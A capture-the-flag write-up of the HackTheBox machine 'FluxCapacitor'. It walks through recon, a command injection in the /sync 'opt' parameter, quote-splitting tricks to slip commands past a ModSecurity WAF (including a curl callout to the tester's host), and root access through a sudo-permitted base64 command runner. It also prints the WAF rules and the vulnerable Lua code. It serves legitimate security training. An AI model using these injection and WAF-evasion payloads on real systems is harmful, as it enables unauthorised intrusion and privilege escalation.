HTB: FluxCapacitor
Probably my least favorite box on HTB, largely because it involved a lot of guessing. I did enjoy looking for privesc without having a shell on the host.
Box Info
Name | FluxCapacitor Play on HackTheBox |
---|---|
Release Date | 16 Dec 2017 |
Retire Date | 04 May 2024 |
OS | Linux |
Base Points | Medium [30] |
Rated Difficulty | |
Radar Graph | |
05:45:24 |
|
07:58:26 |
|
Creator |
Recon
nmap
Only TCP 80 seems open:
root@kali# nmap -sT -p- --min-rate 5000 --max-retries 1 -oA nmap/alltcp 10.10.10.69
Starting Nmap 7.60 ( https://nmap.org ) at 2018-03-21 06:14 EDT
Warning: 10.10.10.69 giving up on port because retransmission cap hit (1).
Nmap scan report for 10.10.10.69
Host is up (0.098s latency).
Not shown: 63754 closed ports, 1780 filtered ports
PORT STATE SERVICE
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 15.60 seconds
root@kali# nmap -sU -p- --min-rate 5000 --max-retries 1 -oA nmap/alludp 10.10.10.69
Starting Nmap 7.60 ( https://nmap.org ) at 2018-03-21 06:14 EDT
Warning: 10.10.10.69 giving up on port because retransmission cap hit (1).
Nmap scan report for 10.10.10.69
Host is up (0.10s latency).
All 65535 scanned ports on 10.10.10.69 are open|filtered (65504) or closed (31)
nmap done: 1 IP address (1 host up) scanned in 26.69 seconds
port 80
The page is super simple:
The source reveals another path, /sync:
<!DOCTYPE html>
<html>
<head>
<title>Keep Alive</title>
</head>
<body>
OK: node1 alive
<!--
Please, add timestamp with something like:
<script> $.ajax({ type: "GET", url: '/sync' }); </script>
-->
<hr/>
FluxCapacitor Inc. info@fluxcapacitor.htb - http://fluxcapacitor.htb<br>
<em><met><doc><brown>Roads? Where we're going, we don't need roads.</brown></doc></met></em>
</body>
</html>
Visiting this path in the browser returns forbidden. I’ll try gobuster
to look for other paths:
root@kali# gobuster -u http://fluxcapacitor.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
Gobuster v1.4.1 OJ Reeves (@TheColonial)
=====================================================
=====================================================
[+] Mode : dir
[+] Url/Domain : http://fluxcapacitor.htb/
[+] Threads : 10
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Status codes : 301,302,307,200,204
=====================================================
/sync (Status: 200)
/synctoy (Status: 200)
/syncing (Status: 200)
/sync_scan (Status: 200)
/syncnister (Status: 200)
/syncbackse (Status: 200)
/synch (Status: 200)
/sync4j (Status: 200)
/synchpst (Status: 200)
/syncapture (Status: 200)
/syncback (Status: 200)
/syncml (Status: 200)
/synchronization (Status: 200)
=====================================================
Finds the same /sync
path, but it gets a 200, not a 403. Any path starting sync* will return the same. curl shows a good result too:
root@kali# curl http://fluxcapacitor.htb/sync
20180321T11:35:15
root@kali# curl http://fluxcapacitor.htb/sync -x http://127.0.0.1:8080
20180321T11:37:42
Suspect that it is filtering on user agent. Confirmed by catching a request from firefox with burp, changing the UA to ‘yip’, and then the result is the time.
Since this /sync
path is used for something, let’s look for a parameter using wfuzz
. Interstingly, opt returns something different:
root@kali# wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -H "User-Agent: nothingtoseehere" --hh=19 "http://fluxcapacitor.htb/sync?FUZZ=test"
Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 2.2.9 - The Web Fuzzer *
********************************************************
Target: http://fluxcapacitor.htb/sync?FUZZ=test
Total requests: 220560
==================================================================
ID Response Lines Word Chars Payload
==================================================================
009874: C=403 7 L 10 W 175 Ch "opt"
060620: C=200 2 L 1 W 19 Ch "87764"
Fatal exception: Pycurl error 28: Operation timed out after 90000 milliseconds with 0 bytes received
Next I’ll try to figure out what the opt parameter takes. This page shows a method.
If I just send the ‘, it comes back with ‘\n’ payload, with the following header (curl then burp response header):
root@kali# curl -v "http://fluxcapacitor.htb/sync?opt='" -x http://127.0.0.1:8080
* Trying 127.0.0.1:8080...
* Connected to (nil) (127.0.0.1) port 8080 (#0)
> GET http://fluxcapacitor.htb/sync?opt=' HTTP/1.1
> Host: fluxcapacitor.htb
> User-Agent: curl/7.81.0
> Accept: */*
> Proxy-Connection: Keep-Alive
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Sat, 15 Jul 2023 10:09:50 GMT
< Content-Type: text/plain
< Connection: close
< Server: SuperWAF
< Content-Length: 1
<
* Closing connection 0
If i put in something else for opt
without the ‘:
root@kali# curl -v "http://fluxcapacitor.htb/sync?opt=ls" -x http://127.0.0.1:8080
* Trying 127.0.0.1:8080...
* Connected to (nil) (127.0.0.1) port 8080 (#0)
> GET http://fluxcapacitor.htb/sync?opt=ls HTTP/1.1
> Host: fluxcapacitor.htb
> User-Agent: curl/7.81.0
> Accept: */*
> Proxy-Connection: Keep-Alive
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 403 Forbidden
< Date: Sat, 15 Jul 2023 10:10:25 GMT
< Content-Type: text/html
< Content-Length: 175
< Connection: close
<
<html>
<head><title>403 Forbidden</title></head>
<body bgcolor="white">
<center><h1>403 Forbidden</h1></center>
<hr><center>openresty/1.13.6.1</center>
</body>
</html>
* Closing connection 0
Tried a bunch of different stuff, all that returns 403:
http://fluxcapacitor.htb/sync?opt='echo'
http://fluxcapacitor.htb/sync?opt='echo
http://fluxcapacitor.htb/sync?opt='pwd
http://fluxcapacitor.htb/sync?opt='/bin/ls
http://fluxcapacitor.htb/sync?opt='/usr/bin/curl+10.10.15.147
http://fluxcapacitor.htb/sync?opt='wget
http://fluxcapacitor.htb/sync?opt=wget
Other stuff returns the time (api working correctly), and these have the same Server: SuperWAF header in the response:
http://fluxcapacitor.htb/sync?opt=''
http://fluxcapacitor.htb/sync?opt='.'
http://fluxcapacitor.htb/sync?opt='/'
Other stuff returns an empty line:
http://fluxcapacitor.htb/sync?opt='/
http://fluxcapacitor.htb/sync?opt='/b
http://fluxcapacitor.htb/sync?opt='/bin
http://fluxcapacitor.htb/sync?opt='/bin/l
http://fluxcapacitor.htb/sync?opt='/bin/l?
http://fluxcapacitor.htb/sync?opt='/usr/bin/cur?+10.10.15.147
Perhaps the 403 is a WAF rejecting me, which is why /bin/l doesn’t get 403, but /bin/ls does? But the Server: SuperWAF comes back only in the empty replies and the functional replies.
Seems like if I can figure out command injection, then I can figure out how to get that through the WAF…
Adding a space starts to get somewhere…and using ” to break things apart.
July 2023 Update - It seems that curl
behaves a bit differently now, and won’t send these kind of broken payloads any more. Where in 2018, this worked:
root@kali# curl "10.10.10.69/sync?opt=' pw''d'"
/
bash: -c: option requires an argument
root@kali# curl "10.10.10.69/sync?opt=' whi''ch cu''rl'"
/usr/bin/curl
bash: -c: option requires an argument
In 2023, it does not:
oxdf@hacky$ curl "10.10.10.69/sync?opt=' pw''d'"
curl: (3) URL using bad/illegal format or missing URL
No request is even sent. Still, it does work in Burp Repeater:
I won’t update every command from here on, but do note that you may need something else besides curl
. Thanks to InvertedClimbing for the tip.
Test callout:
root@kali# python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
10.10.10.69 - - [25/Mar/2018 14:34:01] "GET / HTTP/1.1" 200 -
root@kali# curl "10.10.10.69/sync?opt=' cu''rl 10.10.14.157'"
0xdf
bash: -c: option requires an argument
Grab user.txt:
root@kali# curl "10.10.10.69/sync?opt=' l''s /home'"
FluxCapacitorInc
themiddle
bash: -c: option requires an argument
root@kali# curl "10.10.10.69/sync?opt=' l''s /home/themiddle'"
checksync
user.txt
bash: -c: option requires an argument
root@kali# curl "10.10.10.69/sync?opt=' c''at /home/themiddle/us''er.txt'"
Flags? Where we're going we don't need flags.
bash: -c: option requires an argument
root@kali# curl "10.10.10.69/sync?opt=' c''at /home/FluxCapacitorIn''c/us''er.txt'"
[redacted]
bash: -c: option requires an argument
Get a shell?
Try a shell:
root@kali# curl "10.10.10.69/sync?opt=' whi''ch pytho''n'"
bash: -c: option requires an argument
root@kali# curl "10.10.10.69/sync?opt=' whi''ch pytho''n3'"
/usr/bin/python3
bash: -c: option requires an argument
Give up on Shell, privesc through web
Can find python3, but pipe gets blocked, and i can’t write even to tmp. Getting a shell seems hard.
Since I can’t get LinEnum up on the box, think about the things it typically finds. sudo is a good place to start:
root@kali# curl "10.10.10.69/sync?opt=' su''do -l'"
Matching Defaults entries for nobody on fluxcapacitor:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nobody may run the following commands on fluxcapacitor:
(ALL) ALL
(root) NOPASSWD: /home/themiddle/.monit
bash: -c: option requires an argument
root@kali# curl "10.10.10.69/sync?opt=' c''at /home/themiddle/.monit'"
#!/bin/bash
if [ "$1" == "cmd" ]; then
echo "Trying to execute ${2}"
CMD=$(echo -n ${2} | base64 -d)
bash -c "$CMD"
fi
bash: -c: option requires an argument
So it looks like the current user can run sudo /home/themiddle/.monit cmd [base64 string]
, and that base64 string will be decodeed and run as root!
root@kali# curl "10.10.10.69/sync?opt=' su''do /home/themiddle/.monit cmd $(echo cat /root/root.txt | base64)'"
Trying to execute Y2F0IC9yb290L3Jvb3QudHh0Cg==
[redacted]
bash: -c: option requires an argument
Other things to pull
Using this access, pull the webserver configuration:
root@kali# curl "10.10.10.69/sync?opt=' sudo /home/themiddle/.monit cmd $(echo cat /usr/local/o*/n*/conf/ngin*f| base64)'" > nginx.conf
This defines the WAF and the functionality of the application:
...
more_clear_headers 'Server';
add_header Server 'SuperWAF';
modsecurity on;
location /sync {
default_type 'text/plain';
modsecurity_rules '
SecDefaultAction "phase:1,log,auditlog,deny,status:403"
SecDefaultAction "phase:2,log,auditlog,deny,status:403"
SecRule REQUEST_HEADERS:User-Agent "^(Mozilla|Opera)" "id:1,phase:2,t:trim,block"
SecRuleEngine On
SecRule ARGS "@rx [;\(\)\|\`\<\>\&\$\*]" "id:2,phase:2,t:trim,t:urlDecode,block"
SecRule ARGS "@rx (user\.txt|root\.txt)" "id:3,phase:2,t:trim,t:urlDecode,block"
SecRule ARGS "@rx (\/.+\s+.*\/)" "id:4,phase:2,t:trim,t:urlDecode,block"
SecRule ARGS "@rx (\.\.)" "id:5,phase:2,t:trim,t:urlDecode,block"
SecRule ARGS "@rx (\?s)" "id:6,phase:2,t:trim,t:urlDecode,block"
SecRule ARGS:opt "@pmFromFile /usr/local/openresty/nginx/conf/unixcmd.txt" "id:99,phase:2,t:trim,t:urlDecode
,block"
';
content_by_lua_block {
local opt = 'date'
if ngx.var.arg_opt then
opt = ngx.var.arg_opt
end
-- ngx.say("DEBUG: CMD='/home/themiddle/checksync "..opt.."'; bash -c $CMD 2>&1")
local handle = io.popen("CMD='/home/themiddle/checksync "..opt.."'; bash -c ${CMD} 2>&1")
local result = handle:read("*a")
handle:close()
ngx.say(result)
}
...